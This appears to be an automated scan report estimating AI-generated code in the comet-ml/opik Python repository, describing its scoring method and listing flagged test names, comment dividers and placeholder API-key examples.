Debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards.
This report presents the forensic synthetic code analysis of comet-ml/opik, a Python project with 20,586 GitHub stars. SynthScan v2.0 examined 1,443,841 lines of code across 9992 source files, recording 13666 pattern matches distributed across 26 syntactic categories. The overall adjusted score of 13.0 places this repository in the Low AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 13666 distinct pattern matches across 26 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/TESTING.md | 129 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 190 | def test_openai_client_responses_create__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 258 | def test_trace_creation_and_retrieval(opik_client, temporary_project_name): | CODE |
| LOW | sdks/python/design/TESTING.md | 500 | def shutdown_cached_client_after_test(): | CODE |
| LOW | sdks/python/design/TESTING.md | 562 | def reset_tracing_to_config_default(): | CODE |
| LOW | sdks/python/design/TESTING.md | 583 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 641 | def test_openai_client_responses_create__happyflow( | CODE |
| LOW | sdks/python/design/TESTING.md | 700 | def test_trace_creation_with_spans(opik_client, temporary_project_name): | CODE |
| LOW | sdks/python/design/TESTING.md | 753 | def test_track__function_raises_exception__error_info_captured(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 792 | def test_openai_streaming_response(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 838 | def test_hallucination_metric__happyflow(): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 861 | def test_track__one_nested_function__happyflow(fake_backend): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 862 | def test_track__function_raises_exception__error_info_captured(fake_backend): | CODE |
| LOW⚡ | sdks/python/design/TESTING.md | 863 | def test_evaluate__with_custom_metric__scores_computed_correctly(fake_backend): | CODE |
| LOW | sdks/python/design/TESTING.md | 940 | def test_double_function__various_inputs__correct_outputs( | CODE |
| LOW | sdks/python/design/TESTING.md | 971 | def ensure_myintegration_configured(): | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 708 | def _process_create_trace_message( | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1085 | def _has_potential_content_with_attachments(message: BaseMessage) -> bool: | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1098 | def _message_has_field_of_interest_set(message) -> bool: | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1632 | def _process_create_spans_batch_message( | CODE |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1748 | def _generate_error_tracking_extra( | CODE |
| LOW | sdks/python/design/EVALUATION.md | 621 | def evaluate_llm_task_context( | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1159 | def is_llm_provider_rate_limit_error(exception: Exception) -> bool: | CODE |
| LOW | sdks/python/tests/conftest.py | 34 | def shutdown_cached_client_after_test(): | CODE |
| LOW | sdks/python/tests/conftest.py | 46 | def skip_local_configuration_file(tmp_path): | CODE |
| LOW | sdks/python/tests/conftest.py | 113 | def patch_streamer_without_batching( | CODE |
| LOW | sdks/python/tests/conftest.py | 173 | def fake_backend_without_batching(patch_streamer_without_batching): | CODE |
| LOW | sdks/python/tests/conftest.py | 197 | def fake_backend_with_patched_environment(request, patch_streamer): | CODE |
| LOW | sdks/python/tests/conftest.py | 226 | def configure_opik_local_env_vars(): | CODE |
| LOW | sdks/python/tests/conftest.py | 236 | def configure_opik_not_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 279 | def ensure_google_project_and_location_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 289 | def ensure_anthropic_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 297 | def ensure_mistral_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 305 | def ensure_vertexai_configured(ensure_google_project_and_location_configured): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 336 | def ensure_google_api_configured(): | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 343 | def ensure_aws_bedrock_configured(): | CODE |
| LOW | sdks/python/tests/unit/conftest.py | 12 | def shutdown_opik_background_threads(): | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 31 | def test_get_is_alive_ping_url__base_url__returns_expected_ping_url( | CODE |
| LOW | sdks/python/tests/unit/test_url_helpers.py | 49 | def test_get_ui_url__url_override__only_strips_api_suffix( | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 6 | def test_convert_exception_to_log_message__happy_scenario_with_original_returned_value(): | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 26 | def test_convert_exception_to_log_message__exception_raised__exception_converted_into_log_message__another_value_returne | CODE |
| LOW | sdks/python/tests/unit/test_logging.py | 49 | def test_convert_exception_to_log_message__logging_level_not_set__error_level_used(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 25 | def test_opik_storage__span_data_not_empty_after_adding_span(sample_span): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 32 | def test_opik_storage__add_span_data__adds_to_stack__the_same_instance_can_be_accessed( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 41 | def test_opik_storage__pop_span_data__with_ensure_id_matching_top__returns_span( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 50 | def test_opik_storage__pop_span_data__with_ensure_id_not_matching_top__returns_none( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 60 | def test_opik_storage__pop_span_data__without_ensure_id__returns_span(sample_span): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 68 | def test_opik_storage__pop_span_data__multiple_spans__returns_in_lifo_order(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 85 | def test_opik_storage__get_trace_data__no_trace_set__returns_none(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 90 | def test_opik_storage__set_trace_data__sets_trace__can_be_retrieved(sample_trace): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 97 | def test_opik_storage__pop_trace_data__no_trace_set__returns_none(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 102 | def test_opik_storage__pop_trace_data__trace_set__returns_and_removes_trace( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 112 | def test_opik_storage__pop_trace_data__with_ensure_id_matching__returns_and_removes_trace( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 122 | def test_opik_storage__pop_trace_data__with_ensure_id_not_matching__returns_none( | CODE |
| LOW⚡ | sdks/python/tests/unit/test_opik_context_storage.py | 132 | def test_opik_storage__clear_all__clears_span_stack_and_trace( | CODE |
| LOW | sdks/python/tests/unit/test_opik_context_storage.py | 145 | def test_opik_storage__trim_span_data_stack_to_certain_span__span_not_in_stack__does_nothing( | CODE |
| LOW | sdks/python/tests/unit/test_opik_context_storage.py | 155 | def test_opik_storage__trim_span_data_stack_to_certain_span__span_in_stack__trims_to_span(): | CODE |
| LOW | sdks/python/tests/unit/test_opik_context_storage.py | 171 | def test_opik_storage__trim_span_data_stack_to_certain_span__stack_is_empty__does_nothing( | CODE |
| LOW | sdks/python/tests/unit/test_opik_context_storage.py | 180 | def test_opik_storage__multithreaded__each_thread_has_independent_context(): | CODE |
| LOW⚡ | sdks/python/tests/unit/test_export_import_all.py | 120 | def test_fresh_manifest_status_is_not_started(self, tmp_path): | CODE |
| 6433 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | .pre-commit-config.yaml | 187 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 189 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 242 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 245 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 255 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 268 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | .pre-commit-config.yaml | 272 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 10 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 12 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 55 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 57 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 222 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 224 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 287 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 289 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 304 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 309 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 321 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | .pre-commit-config.yaml | 326 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 23 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 25 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 49 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/llm_constants.py | 51 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 67 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 69 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 75 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 77 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 84 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/llm_constants.py | 86 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 112 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 114 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 260 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 366 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 368 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 396 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 398 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 487 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 489 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 515 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 517 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1156 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1158 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1344 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1346 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1506 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_export_import_all.py | 1509 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 62 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 64 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1407 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1409 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 24 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 26 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 113 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 115 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 174 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 176 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 208 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_cli_changes.py | 210 | # --------------------------------------------------------------------------- | COMMENT |
| 561 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …s/python/tests/unit/cli/test_migrate_prompt_planner.py | 8 | CODE | |
| LOW | …ts/unit/cli/test_migrate_dataset_resume_reconstruct.py | 10 | CODE | |
| LOW | …/python/tests/unit/cli/test_migrate_prompt_executor.py | 10 | CODE | |
| LOW | sdks/python/tests/unit/cli/_migrate_helpers.py | 9 | CODE | |
| LOW | …unit/cli/test_migrate_dataset_optimizations_cascade.py | 23 | CODE | |
| LOW | …/python/tests/unit/cli/test_migrate_dataset_planner.py | 12 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 22 | CODE | |
| LOW | …thon/tests/unit/cli/test_migrate_dataset_checkpoint.py | 20 | CODE | |
| LOW | sdks/python/tests/unit/cli/_migrate_prompt_helpers.py | 9 | CODE | |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 13 | CODE | |
| LOW | …on/tests/testlib/backend_emulator_message_processor.py | 9 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 2 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 8 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 9 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 10 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 11 | CODE | |
| LOW | sdks/python/tests/testlib/__init__.py | 12 | CODE | |
| LOW | …s/e2e_library_integration/adk/sample_agent/__init__.py | 1 | CODE | |
| LOW | …ary_integration/adk/sample_agent_anthropic/__init__.py | 1 | CODE | |
| LOW | …ibrary_integration/adk/sample_agent_openai/__init__.py | 1 | CODE | |
| LOW | sdks/python/tests/e2e/test_annotation_queue.py | 1 | CODE | |
| LOW | sdks/python/tests/e2e/test_threads.py | 1 | CODE | |
| LOW | …ython/tests/e2e/cli/test_migrate_dataset_resume_e2e.py | 29 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 17 | CODE | |
| LOW | sdks/python/tests/e2e/cli/test_migrate_prompt_e2e.py | 16 | CODE | |
| LOW | …/cli/test_migrate_dataset_cross_project_cascade_e2e.py | 32 | CODE | |
| LOW | …ks/python/tests/e2e/cli/test_migrate_test_suite_e2e.py | 23 | CODE | |
| LOW | …sts/e2e/cli/test_migrate_dataset_evaluate_shape_e2e.py | 24 | CODE | |
| LOW | sdks/python/tests/e2e/cli/test_migrate_dataset_e2e.py | 23 | CODE | |
| LOW | sdks/python/tests/e2e/cli/_cascade_comparison.py | 61 | CODE | |
| LOW | …ests/e2e/cli/test_migrate_dataset_optimizations_e2e.py | 36 | CODE | |
| LOW | sdks/python/src/_opik/__init__.py | 11 | CODE | |
| LOW | sdks/python/src/_opik/__init__.py | 12 | CODE | |
| LOW | sdks/python/src/opik/config.py | 1 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 2 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 2 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 6 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 7 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 8 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 9 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 10 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 11 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 12 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 13 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 13 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 17 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 18 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 19 | CODE | |
| LOW | sdks/python/src/opik/__init__.py | 19 | CODE | |
| 2555 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/README.md | 46 | api_key="YOUR_API_KEY", | CODE |
| HIGH | sdks/python/design/TESTING.md | 1008 | export OPIK_API_KEY="your_api_key" | CODE |
| HIGH | sdks/python/design/API_AND_DATA_FLOW.md | 42 | api_key="your_api_key" # Optional: for cloud deployments | CODE |
| HIGH | …/python/src/opik/api_objects/threads/threads_client.py | 96 | >>> client = Opik(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME") | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 83 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 180 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 201 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 238 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 336 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/client.py | 360 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 51 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 78 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 112 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 140 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 184 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 214 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 251 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …python/src/opik/rest_api/agent_insights_jobs/client.py | 282 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 67 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 116 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 165 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 231 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 283 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | …s/python/src/opik/rest_api/manual_evaluation/client.py | 335 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 97 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 157 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 229 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 271 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 309 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 349 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 389 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 461 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 550 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 600 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 626 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 705 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 749 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 790 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 823 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 861 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 900 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 928 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 955 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 982 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1029 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1066 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1111 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1148 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1187 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1256 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
